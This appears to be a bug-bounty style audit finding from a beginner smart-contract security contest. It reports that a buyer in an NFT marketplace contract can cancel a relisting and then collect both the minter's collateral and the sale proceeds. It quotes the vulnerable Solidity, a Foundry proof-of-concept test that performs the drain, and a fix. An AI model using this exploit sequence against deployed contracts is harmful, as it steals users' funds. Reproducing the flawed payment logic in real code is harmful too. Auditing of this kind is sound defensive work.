NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

The buyer can collect USDC from selling and the minter's collateral

Author Revealed upon completion

Root + Impact

Description

  • By postponing the payments, applying the pull over push method, and relying on the fields of the

    NFTDealers::s_listings mapping which get overwritten by various functions, we complicate the process and make it prone to multiple errors and attack vectors.

  • One of the most serious ones is when a buyer (who bought an NFT from a minter) can list the NFT for sale again, then cancel the listing (which sends the minters collateral to the current seller) and call the

    NFTDealers.collectUsdcFromSelling function to even collect the previous owner's share of the sale's price.

function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
​
s_listings[_listingId].isActive = false;
activeListingsCounter--;
​
@> usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
​
emit NFT_Dealers_ListingCanceled(_listingId);
}
​
function collectUsdcFromSelling(
uint256 _listingId
) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
@> usdc.safeTransfer(msg.sender, amountToSeller);
}
​

Risk

Likelihood: High

  • Only whitelisted users can buy NFTs and list them again. That's the only condition which may filter out some users. Apart from that, it does not have any special requirements.


Impact: High

  • This way, malicious users can steal the money of other users. It hurts the reputation of the program and company.


Proof of Concept

Please copy the following function to the test file and run it using forge test --mt testBuyerCanCollectUsdcFromSellingAndMinterCollateral -vvv.

function testBuyerCanCollectUsdcFromSellingAndMinterCollateral()
public
whitelisted
revealed
{
vm.prank(owner);
nftDealers.whitelistWallet(userWithEvenMoreCash);
​
uint32 nftPrice = 21e6;
mintAndListNFTForTesting(1, nftPrice);
​
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(1);
uint256 balanceBeforeCollecting = usdc.balanceOf(userWithEvenMoreCash);
nftDealers.list(1, nftPrice);
nftDealers.cancelListing(1);
nftDealers.collectUsdcFromSelling(1);
uint256 balanceAfterCollecting = usdc.balanceOf(userWithEvenMoreCash);
​
vm.stopBroadcast();
assertGt(
balanceAfterCollecting,
balanceBeforeCollecting,
"The buyer should be able to collect both the USDC from selling and the collateral locked by the minter."
);
}
​

Recommended Mitigation

The solution is to remove the payment section from cancelListing and collectUsdcFromSelling functions and combine the payment logic into the buy function as follows.

function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(
listing.seller != msg.sender,
"Seller cannot buy their own NFT"
);
​
activeListingsCounter--;
​
bool success = usdc.transferFrom(
msg.sender,
address(this),
listing.price
);
require(success, "USDC transfer failed");
+ usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
+ collateralForMinting[listing.tokenId] = 0;
​
+ uint256 fees = _calculateFees(listing.price);
+ uint256 amountToSeller = listing.price - fees;
+ uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ totalFeesCollected += fees;
+ amountToSeller += collateralToReturn;
+ usdc.safeTransfer(address(this), fees);
+ usdc.safeTransfer(listing.seller, amountToSeller);
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
​
emit NFT_Dealers_Sold(msg.sender, listing.price);
}
​
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
​
s_listings[_listingId].isActive = false;
activeListingsCounter--;
​
- usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
- collateralForMinting[listing.tokenId] = 0;
​
emit NFT_Dealers_ListingCanceled(_listingId);
}
​
- function collectUsdcFromSelling(
- uint256 _listingId
- ) external onlySeller(_listingId) {
- Listing memory listing = s_listings[_listingId];
- require(!listing.isActive, "Listing must be inactive to collect USDC");
​
- uint256 fees = _calculateFees(listing.price);
- uint256 amountToSeller = listing.price - fees;
- uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
- totalFeesCollected += fees;
- amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
- usdc.safeTransfer(msg.sender, amountToSeller);
- }
​

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!